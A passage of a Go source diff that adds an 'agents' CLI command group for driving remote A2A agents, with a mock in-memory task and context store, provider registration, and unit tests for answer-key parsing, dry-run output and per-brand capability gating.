+	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
+	lo, hi, info := pageWindow(len(recs), page)
+	out := make([]agents.ContextSummary, 0, hi-lo)
+	for _, ctx := range recs[lo:hi] {
+		updatedAt, _, awaiting, _ := s.contextRollupLocked(ctx)
+		out = append(out, agents.ContextSummary{
+			ContextID:     ctx.ContextID,
+			CreatedAt:     ctx.CreatedAt,
+			UpdatedAt:     updatedAt,
+			Title:         ctx.Title,
+			AwaitingInput: awaiting,
+		})
+	}
+	return out, info
+}
+
+// getContext returns a context's detail: metadata plus a rollup (updated_at,
+// task_count, awaiting_input) and the single most-actionable ActiveTask (the task
+// with the latest updated_at; nil for an empty context). It deliberately does NOT
+// enumerate every task — the full list is `listTasks(agentID, ctxID)` behind
+// `agents task list --context-id`.
+func (s *memoryStore) getContext(agentID, ctxID string) (*agents.ContextDetail, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	ctx, ok := s.Contexts[ctxID]
+	if !ok || ctx.AgentID != agentID {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
+			WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
+	}
+	updatedAt, taskCount, awaiting, active := s.contextRollupLocked(ctx)
+	detail := &agents.ContextDetail{
+		ContextID: ctx.ContextID,
+		CreatedAt: ctx.CreatedAt,
+		UpdatedAt: updatedAt,
+		Title:     ctx.Title,
+		// The mock can always count its tasks; a real provider whose backend
+		// does not return a total leaves TaskCount nil (unknown ≠ 0).
+		TaskCount:     &taskCount,
+		AwaitingInput: awaiting,
+	}
+	if active != nil {
+		summary := taskSummaryOf(active.Task)
+		detail.ActiveTask = &summary
+	}
+	return detail, nil
+}
+
+// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
+func (s *memoryStore) deleteContext(agentID, ctxID string) error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	ctx, ok := s.Contexts[ctxID]
+	if !ok || ctx.AgentID != agentID {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
+			WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
+	}
+	for _, tid := range ctx.TaskIDs {
+		delete(s.Tasks, tid)
+	}
+	delete(s.Contexts, ctxID)
+	return s.saveLocked()
+}
+
+// ── Derived rollups (the enriched-summary provider side) ──
+
+// summaryMaxRunes is the rune budget for a task Summary — a one-line content
+// digest, not full content. Truncation is rune-safe so a multibyte character is
+// never cut in half.
+const summaryMaxRunes = 100
+
+// contextRollupLocked derives a context's summary fields from its tasks (the
+// caller must already hold the lock). updatedAt is the newest task updated_at,
+// falling back to the context's created_at when it has no tasks; awaitingInput is
+// set when any task sits in input_required/auth_required; active is the task with
+// the latest updated_at (ties broken by creation order so it is deterministic),
+// nil when the context is empty.
+func (s *memoryStore) contextRollupLocked(ctx *contextRecord) (updatedAt string, taskCount int, awaitingInput bool, active *taskRecord) {
+	updatedAt = ctx.CreatedAt
+	for _, tid := range ctx.TaskIDs {
+		rec, ok := s.Tasks[tid]
+		if !ok {
+			continue
+		}
+		taskCount++
+		if rec.Task.UpdatedAt > updatedAt { // fixed-width RFC3339 UTC ⇒ lexicographic == chronological
+			updatedAt = rec.Task.UpdatedAt
+		}
+		if isAwaiting(rec.Task.State) {
+			awaitingInput = true
+		}
+		if active == nil || rec.Task.UpdatedAt > active.Task.UpdatedAt ||
+			(rec.Task.UpdatedAt == active.Task.UpdatedAt && rec.Seq > active.Seq) {
+			active = rec
+		}
+	}
+	return updatedAt, taskCount, awaitingInput, active
+}
+
+// isAwaiting reports whether a state is paused waiting on the caller (the
+// awaiting_input rollup bit).
+func isAwaiting(state agents.TaskState) bool {
+	return state == agents.StateInputRequired || state == agents.StateAuthRequired
+}
+
+// taskSummaryOf projects a stored task into its list/active summary, carrying the
+// timestamp and the one-line content digest alongside the identity fields.
+func taskSummaryOf(task agents.AgentTask) agents.TaskSummary {
+	return agents.TaskSummary{
+		TaskID:     task.TaskID,
+		ContextID:  task.ContextID,
+		State:      task.State,
+		IsTerminal: task.IsTerminal,
+		UpdatedAt:  task.UpdatedAt,
+		Summary:    taskSummaryText(task),
+	}
+}
+
+// taskSummaryText is the one-line content digest: the pending group's triage
+// digest (§3.3: label else first question, question count suffixed) for a task
+// awaiting input, otherwise the last agent message's text. It returns RAW text
+// (only rune-truncated) — ANSI-stripping + flattening for pretty/TSV is the
+// command layer's job, and it is empty when nothing is available.
+func taskSummaryText(task agents.AgentTask) string {
+	if task.State == agents.StateInputRequired && task.InputRequired != nil {
+		if s := task.InputRequired.SummaryText(); s != "" {
+			return truncateRunes(s, summaryMaxRunes)
+		}
+	}
+	for i := len(task.Messages) - 1; i >= 0; i-- {
+		if task.Messages[i].Role != "agent" {
+			continue
+		}
+		for _, p := range task.Messages[i].Parts {
+			if p.Type == "text" && p.Text != "" {
+				return truncateRunes(p.Text, summaryMaxRunes)
+			}
+		}
+	}
+	return ""
+}
+
+// truncateRunes cuts s to at most max runes (rune-safe, no character split). It
+// does not append an ellipsis: the Summary is meant to be raw text.
+func truncateRunes(s string, max int) string {
+	r := []rune(s)
+	if len(r) <= max {
+		return s
+	}
+	return string(r[:max])
+}

agents/register.go

@@ -0,0 +1,28 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package agents is the top-level business layer that wires the in-repo agent
+// providers into the framework registry (internal/agents). It mirrors the events
+// layering: the framework/SPI lives in internal/agents, each concrete provider is
+// a declarative agents.Provider value exposed by a package under agents/<scheme>/,
+// and this package's init aggregates and registers them. Blank-import this
+// package from cmd to populate the provider registry.
+//
+// To onboard a new provider: add agents/<scheme>/ exposing a Provider() value,
+// then add one line to the slice below.
+package agents
+
+import (
+	"github.com/larksuite/cli/agents/base"
+	"github.com/larksuite/cli/agents/example"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+func init() {
+	for _, p := range []iagents.Provider{
+		base.Provider(),
+		example.Provider(),
+	} {
+		iagents.Register(p)
+	}
+}

cmd/agents/agent_test.go

@@ -0,0 +1,34 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import "testing"
+
+// TestAgentCommandTree pins the shape of the `agent` command tree: the group
+// itself must have no RunE/Run (a bare group whose unknown subcommands surface
+// an error rather than being silently swallowed), and it must expose all five
+// verbs plus the nested task/context sub-groups.
+func TestAgentCommandTree(t *testing.T) {
+	cmd := NewCmdAgents(nil)
+	if cmd.RunE != nil || cmd.Run != nil {
+		t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
+	}
+	want := []string{"list", "card", "send", "task", "context"}
+	for _, name := range want {
+		if findSub(cmd, name) == nil {
+			t.Errorf("missing subcommand %s", name)
+		}
+	}
+	// task/context are nested groups
+	if task := findSub(cmd, "task"); task == nil {
+		t.Error("missing agents task group")
+	} else if findSub(task, "get") == nil {
+		t.Error("missing agents task get")
+	}
+	if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
+		t.Error("missing agents context group")
+	} else if findSub(ctxCmd, "delete") == nil {
+		t.Error("missing agents context delete")
+	}
+}

cmd/agents/agents.go

@@ -0,0 +1,29 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/internal/cmdutil"
+)
+
+// NewCmdAgents builds the `agent` command group: a provider-agnostic surface
+// that drives remote A2A agents with constant verbs. It is a pure group with
+// no RunE, so an unknown subcommand is reported rather than silently
+// swallowed. All five verbs (list/card/send/task/context) are wired here; task
+// and context are themselves nested groups.
+func NewCmdAgents(f *cmdutil.Factory) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "agents",
+		Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
+		Long:  "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agents card <agent_ref>` first, then pick verbs by capability.",
+	}
+	cmd.AddCommand(NewCmdAgentList(f))
+	cmd.AddCommand(NewCmdAgentCard(f))
+	cmd.AddCommand(NewCmdAgentSend(f, nil))
+	cmd.AddCommand(NewCmdAgentTask(f))
+	cmd.AddCommand(NewCmdAgentContext(f))
+	return cmd
+}

cmd/agents/answer_review_test.go

@@ -0,0 +1,169 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Tests added from the Phase-6 adversarial review of the input_required answer
+// scheme: each pins a contract row that was implemented but previously
+// deletable without a test failing.
+package agents
+
+import (
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// TestSendAnswerUnsupportedGated pins the §5 capability row: --answer against
+// an agent whose card declares input_required=false (example:echo) is gated
+// offline with unsupported_capability — no provider hook fires, no network.
+func TestSendAnswerUnsupportedGated(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo",
+		ContextID: "c1", TaskID: "t1", Answers: []string{"q1=x"},
+		As: "bot", Format: "json",
+	})
+	assertUnsupportedCapability(t, err, "example:echo")
+	if p, _ := errs.ProblemOf(err); !strings.Contains(p.Message, "input_required") {
+		t.Errorf("gate error should name the input_required capability, got %q", p.Message)
+	}
+}
+
+// TestSendAnswerWithRemark pins the §5 row "--answer 与 --text 并存 = 合法":
+// the remark rides SendInput.Text alongside the parsed answers.
+func TestSendAnswerWithRemark(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.ContextID, opts.TaskID = "sess_1", "task_1"
+	opts.Answers = []string{"q1_a8=by_region"}
+	opts.Text = "补充：优先东区"
+	var got iagents.SendInput
+	setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
+		got = in
+		return &iagents.AgentTask{TaskID: "task_1", State: iagents.StateCompleted}, nil
+	}})
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("--answer with a --text remark must be legal: %v", err)
+	}
+	if got.Text != "补充：优先东区" || len(got.Answers) != 1 {
+		t.Errorf("remark and answers must both reach the hook, got text=%q answers=%v", got.Text, got.Answers)
+	}
+}
+
+// TestSendAnswerGrammarEdges extends the offline key-grammar pin to the §4.1
+// edge shapes: case-sensitive suffix, bare ".text", double suffix — plus the
+// hint naming both legal forms.
+func TestSendAnswerGrammarEdges(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", TaskID: "t",
+		Answers: []string{"q1.TEXT=x", ".text=x", "q.text.text=x"}})
+	if err == nil {
+		t.Fatal("edge-shape keys should be rejected offline")
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatal(err)
+	}
+	for _, frag := range []string{"q1.TEXT", ".text", "q.text.text"} {
+		if !strings.Contains(verr.Problem.Message, frag) {
+			t.Errorf("collect-all should name %q, got %q", frag, verr.Problem.Message)
+		}
+	}
+	if h := verr.Problem.Hint; !strings.Contains(h, "<question_id>=<option_id>") || !strings.Contains(h, "<question_id>.text=") {
+		t.Errorf("hint must name both legal key forms, got %q", h)
+	}
+}
+
+// TestSendAnswerGuardPrecedence pins mode-first ordering: with BOTH missing
+// ids AND a grammar-violating entry, the ids guard answers (the caller learns
+// which mode it got wrong before which field), and Answers+ContextID-only
+// still reports the --answer guard.
+func TestSendAnswerGuardPrecedence(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1.txt=x"}})
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--answer" || !strings.Contains(verr.Problem.Message, "--context-id") {
+		t.Errorf("ids guard must answer before key grammar, got %+v", verr)
+	}
+	err = agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", Answers: []string{"q1=x"}})
+	if !errors.As(err, &verr) || verr.Param != "--answer" {
+		t.Errorf("answers with context but no task must hit the --answer guard, got %+v", verr)
+	}
+}
+
+// TestSendDryRunAnswers pins the '预演即所得' §10.1 preview: would_send.answers
+// is the PARSED map (deduped, argv order), no hook fires, and dry-run answers
+// work even against an input_required=false agent (dry-run precedes the gate).
+func TestSendDryRunAnswers(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &sendOptions{
+		Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", DryRun: true,
+		ContextID: "c1", TaskID: "t1",
+		Answers: []string{"q3_a8=east", "q3_a8=north", "q3_a8=east", "q2_a8.text=2024 全年"},
+		As:      "bot", Format: "json",
+	}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run with answers must succeed even at an input_required=false agent: %v", err)
+	}
+	var env struct {
+		Data struct {
+			WouldSend struct {
+				Answers map[string][]string `json:"answers"`
+			} `json:"would_send"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if v := env.Data.WouldSend.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
+		t.Errorf("would_send.answers must be the parsed deduped map, got %v", env.Data.WouldSend.Answers)
+	}
+	if v := env.Data.WouldSend.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
+		t.Errorf(".text key must ride would_send verbatim, got %v", env.Data.WouldSend.Answers)
+	}
+}
+
+// TestTaskGetDegradedGroupNotice pins the §3.2 defect-observability channel: a
+// provider group with a flag-lookalike question_id degrades to one free-text
+// question AND the JSON envelope carries the provider_defect notice (the
+// machine surface — not just stderr).
+func TestTaskGetDegradedGroupNotice(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	registerScripted()
+	setScripted(t, scriptedHooks{getTask: func(taskID string) (*iagents.AgentTask, error) {
+		return &iagents.AgentTask{TaskID: taskID, ContextID: "ctx_1", State: iagents.StateInputRequired,
+			UpdatedAt: "2026-07-21T00:00:00Z",
+			InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
+				{QuestionID: "--text", Question: "维度?"},
+			}}}, nil
+	}})
+	opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeflow:agt_x", TaskID: "t1", As: "bot", Format: "json"}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentTaskGetRun(opts); err != nil {
+		t.Fatalf("task get with a degradable group should succeed: %v", err)
+	}
+	var env struct {
+		Data struct {
+			InputRequired struct {
+				Questions []struct {
+					QuestionID string `json:"question_id"`
+				} `json:"questions"`
+			} `json:"input_required"`
+		} `json:"data"`
+		Notice map[string]any `json:"_notice"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v\n%s", err, out.Bytes())
+	}
+	qs := env.Data.InputRequired.Questions
+	if len(qs) != 1 || !iagents.KeyPattern.MatchString(qs[0].QuestionID) {
+		t.Fatalf("degraded group must be one legal-key free-text question, got %+v", qs)
+	}
+	defect, _ := env.Notice["provider_defect"].(string)
+	if !strings.Contains(defect, "不合规") {
+		t.Errorf("JSON envelope _notice must carry the provider defect, got %v", env.Notice)
+	}
+}

cmd/agents/brand_test.go

@@ -0,0 +1,239 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+	"sync"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// brandFactory builds a test Factory whose resolved Config.Brand is the given
+// brand, so the command-layer brand gates exercise both feishu and lark.
+func brandFactory(t *testing.T, brand core.LarkBrand) *cmdutil.Factory {
+	t.Helper()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: brand}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	return f
+}
+
+// TestCardBrandScoped pins that `agents card example:reporter` renders a
+// brand-scoped card: under feishu task_cancel is true and data.brand=="feishu";
+// under lark the feishu-only task_cancel op flips to false and
+// data.brand=="lark". The agent itself stays visible under both brands (only the
+// op is scoped), so the card renders in both cases.
+func TestCardBrandScoped(t *testing.T) {
+	for _, tc := range []struct {
+		brand          core.LarkBrand
+		wantTaskCancel bool
+	}{
+		{core.BrandFeishu, true},
+		{core.BrandLark, false},
+	} {
+		t.Run(string(tc.brand), func(t *testing.T) {
+			f := brandFactory(t, tc.brand)
+			opts := &cardOptions{Factory: f, Cmd: resolveCmd(t, true, "bot"), Ref: "example:reporter", As: "bot", Format: "json"}
+			out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+			if err := agentCardRun(opts); err != nil {
+				t.Fatalf("card should render under %s: %v", tc.brand, err)
+			}
+			var env output.Envelope
+			if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+				t.Fatalf("card output should be valid envelope JSON: %v", err)
+			}
+			data, ok := env.Data.(map[string]interface{})
+			if !ok {
+				t.Fatalf("data should be a card object, got %T", env.Data)
+			}
+			if data["brand"] != string(tc.brand) {
+				t.Errorf("card.brand should be %q, got %v", tc.brand, data["brand"])
+			}
+			caps, ok := data["capabilities"].(map[string]interface{})
+			if !ok {
+				t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
+			}
+			if caps["task_cancel"] != tc.wantTaskCancel {
+				t.Errorf("%s: task_cancel should be %v, got %v", tc.brand, tc.wantTaskCancel, caps["task_cancel"])
+			}
+		})
+	}
+}
+
+// TestTaskCancelBrandGatedUnderLark pins the per-capability brand gate: under
+// lark, `agents task cancel example:reporter` (task_cancel is feishu-only) is
+// rejected offline with the unavailable_for_brand validation error (exit 2)
+// before any request — the CancelTask handler IS wired, so this is a brand gate,
+// not an unsupported_capability gate.
+func TestTaskCancelBrandGatedUnderLark(t *testing.T) {
+	f := brandFactory(t, core.BrandLark)
+	err := agentTaskCancelRun(&taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "t1", As: "bot",
+	})
+	if err == nil {
+		t.Fatal("task cancel under lark should be gated (unavailable_for_brand)")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want a validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
+		t.Fatalf("subtype should be unavailable_for_brand, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
+	}
+}
+
+// TestTaskCancelReachesHandlerUnderFeishu pins the sibling of the gate: under
+// feishu the feishu-scoped task_cancel is live, so the command passes both brand
+// gates and reaches the provider handler — for an unknown task the example store
+// returns invalid_argument (unknown task id), never unavailable_for_brand.
+func TestTaskCancelReachesHandlerUnderFeishu(t *testing.T) {
+	f := brandFactory(t, core.BrandFeishu)
+	err := agentTaskCancelRun(&taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "nope_task", As: "bot",
+	})
+	if err == nil {
+		t.Fatal("cancel of an unknown task should error from the handler")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("want a typed problem, got %T: %v", err, err)
+	}
+	if p.Subtype == errs.SubtypeUnavailableForBrand {
+		t.Fatal("under feishu the brand gate must NOT fire — the handler should run")
+	}
+	if p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("expected the handler's unknown-task invalid_argument, got %+v", p)
+	}
+}
+
+// TestListCatalogIncludesReporterBothBrands pins that an op-level brand tag does
+// NOT hide the whole agent: example:reporter appears in the catalog listing under
+// both feishu and lark (only its task_cancel capability differs by brand).
+func TestListCatalogIncludesReporterBothBrands(t *testing.T) {
+	prov, ok := iagents.Info("example")
+	if !ok {
+		t.Fatal("example provider should be registered")
+	}
+	for _, brand := range []core.LarkBrand{core.BrandFeishu, core.BrandLark} {
+		found := false
+		for _, a := range prov.ListCatalog(brand) {
+			if a.AgentRef == "example:reporter" {
+				found = true
+			}
+		}
+		if !found {
+			t.Errorf("example:reporter should be listed under %s (op-level tag must not hide the agent)", brand)
+		}
+	}
+}
+
+// registerBrandHiddenOnce registers the feishu-only catalog agent exactly once
+// (Register panics on dup). Its ListTasks is deliberately UNWIRED so the
+// whole-agent brand gate can be tested against a verb the agent does not even
+// implement — the ordering assertion behind fix #1.
+var registerBrandHiddenOnce sync.Once
+
+func registerBrandHidden() {
+	registerBrandHiddenOnce.Do(func() {
+		task := func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) {
+			return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
+		}
+		iagents.Register(iagents.Provider{
+			Scheme:        "brandhidden",
+			Label:         "test fake (feishu-only agent)",
+			AgentIDSource: "test only",
+			Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Catalog: []iagents.AgentSpec{{
+				ID:     "x",
+				Name:   "隐藏演示",
+				Brands: []core.LarkBrand{core.BrandFeishu},
+				Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
+					return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
+				}},
+				GetTask: iagents.TaskGetOp{Handler: task},
+				// ListTasks intentionally UNWIRED.
+			}},
+		})
+	})
+}
+
+// TestWholeAgentBrandGatedUnderLark pins the whole-agent brand gate AND its
+// ordering: a feishu-only agent (spec.Brands=[feishu]) reports
+// unavailable_for_brand under lark for EVERY verb — including task list, whose
+// handler is unwired. If the capability nil-gate ran first, task list would
+// misreport unsupported_capability; the whole-agent brand gate must fire before
+// it. Under feishu the agent is visible and its card renders.
+func TestWholeAgentBrandGatedUnderLark(t *testing.T) {
+	registerBrandHidden()
+	lark := brandFactory(t, core.BrandLark)
+
+	errCard := agentCardRun(&cardOptions{Factory: lark, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"})
+	assertUnavailableWholeAgent(t, errCard, "card")
+
+	errList := agentTaskListRun(&taskOptions{Factory: lark, Cmd: taskCmdCtx(t, "list"), Ref: "brandhidden:x", As: "bot", Format: "json"})
+	assertUnavailableWholeAgent(t, errList, "task list (unwired verb)")
+
+	feishu := brandFactory(t, core.BrandFeishu)
+	out := feishu.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(&cardOptions{Factory: feishu, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"}); err != nil {
+		t.Fatalf("card should render under feishu (agent visible): %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("card output should be valid JSON: %v", err)
+	}
+	if data, _ := env.Data.(map[string]interface{}); data["brand"] != "feishu" {
+		t.Errorf("under feishu card.brand should be feishu, got %v", data["brand"])
+	}
+}
+
+// assertUnavailableWholeAgent checks err is the WHOLE-AGENT unavailable_for_brand
+// form: subtype unavailable_for_brand, naming the lark brand, and with NO verb
+// named (the op form is "agent '...' 的 '<verb>' 在 ..."; the whole-agent form
+// omits the verb since the entire agent is hidden).
+func assertUnavailableWholeAgent(t *testing.T, err error, where string) {
+	t.Helper()
+	if err == nil {
+		t.Fatalf("%s under lark should be gated", where)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
+		t.Fatalf("%s: subtype should be unavailable_for_brand, got %+v", where, p)
+	}
+	if strings.Contains(p.Message, "的 '") {
+		t.Errorf("%s: expected the whole-agent message (no verb named), got %q", where, p.Message)
+	}
+	if !strings.Contains(p.Message, "在 lark 品牌下不可用") {
+		t.Errorf("%s: message should name the lark brand, got %q", where, p.Message)
+	}
+}
+
+// TestResolvedBrandDefaults pins resolvedBrand's resolution + offline default:
+// nil Factory and an empty configured Brand both fall back to feishu (consistent
+// with core.ParseBrand); an explicit brand is returned as-is.
+func TestResolvedBrandDefaults(t *testing.T) {
+	if got := resolvedBrand(nil); got != core.BrandFeishu {
+		t.Errorf("resolvedBrand(nil) should default to feishu, got %q", got)
+	}
+	if got := resolvedBrand(brandFactory(t, "")); got != core.BrandFeishu {
+		t.Errorf("resolvedBrand with empty Brand should default to feishu, got %q", got)
+	}
+	if got := resolvedBrand(brandFactory(t, core.BrandLark)); got != core.BrandLark {
+		t.Errorf("resolvedBrand should return the configured lark brand, got %q", got)
+	}
+	if got := resolvedBrand(brandFactory(t, core.BrandFeishu)); got != core.BrandFeishu {
+		t.Errorf("resolvedBrand should return the configured feishu brand, got %q", got)
+	}
+}

cmd/agents/card.go

@@ -0,0 +1,381 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"fmt"
+	"io"
+	"sort"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// cardOptions holds all inputs for `agents card <ref>`.
+type cardOptions struct {
+	Factory   *cmdutil.Factory
+	Cmd       *cobra.Command
+	Ref       string
+	Operation string
+	As        string
+	Format    string
+}
+
+// verbCommandTemplate maps each operation verb to the human command that
+// executes it — surfaced in `--operation` output so the verb↔command mapping
+// is a lookup, not something the caller memorizes (artifact_download being the
+// one non-obvious row). Templates carry <...> placeholders and are never
+// executable verbatim.
+var verbCommandTemplate = map[string]string{
+	iagents.VerbSend:             "lark-cli agents send <agent_ref> --text <text> [--param k=v ...]",
+	iagents.VerbTaskGet:          "lark-cli agents task get <agent_ref> <task-id> [--watch --timeout 30s] [--param k=v ...]",
+	iagents.VerbTaskList:         "lark-cli agents task list <agent_ref> [--context-id <ctx-id>] [--param k=v ...]",
+	iagents.VerbTaskCancel:       "lark-cli agents task cancel <agent_ref> <task-id> [--param k=v ...]",
+	iagents.VerbContextList:      "lark-cli agents context list <agent_ref> [--param k=v ...]",
+	iagents.VerbContextGet:       "lark-cli agents context get <agent_ref> <ctx-id> [--param k=v ...]",
+	iagents.VerbContextDelete:    "lark-cli agents context delete <agent_ref> <ctx-id> --yes [--param k=v ...]",
+	iagents.VerbArtifactDownload: "lark-cli agents task get <agent_ref> <task-id> --artifact <artifact-id> -o <output> [--param k=v ...]",
+}
+
+// NewCmdAgentCard builds `agents card <ref>`: show an agent's capability card
+// (lean by default: capabilities + has_parameters), or — with --operation —
+// one operation's full parameter contract (--operation all returns every
+// operation at once). Resolution is offline; Describe enrichment is
+// best-effort when a client is configured. Risk=read.
+func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
+	opts := &cardOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "card <agent_ref>",
+		Short: "Show a remote agent's capability card, or one operation's parameter contract",
+		Long: "Fetch and show an agent's capability card. The default card is lean: capabilities decide which verbs are available, " +
+			"has_parameters lists the verbs that need a parameter lookup. Use --operation <verb> to fetch one operation's full parameter " +
+			"contract (name/type/required/enum/default + the command shape), or --operation all for every operation at once.",
+		Args: exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			return agentCardRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Operation, "operation", "", "查询某操作的参数契约：动词（capabilities 键名 + send），或 all 一次拿全")
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	if f != nil {
+		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
+	} else {
+		// f is nil only in construction-time unit tests; register a bare --as so
+		// the flag surface is still assertable without a Factory.
+		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
+	}
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// agentCardRun resolves the provider addressed by ref and emits either the
+// lean capability card or (--operation) a parameter-contract subquery. The
+// card is first-party static data (not agent-generated content), so it
+// bypasses content-safety scanning. The JSON success envelope is the default;
+// --format pretty opts into the human-readable listing; --jq forces JSON.
+func agentCardRun(opts *cardOptions) error {
+	f := opts.Factory
+	// Resolution is fully offline (no client), so `agents card` works before
+	// config init. The capability matrix + static metadata are always available.
+	prov, spec, agentID, id, err := resolveSpecForCard(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate (offline): an agent hidden from the current brand
+	// has no card to show under it.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+
+	if opts.Operation != "" {
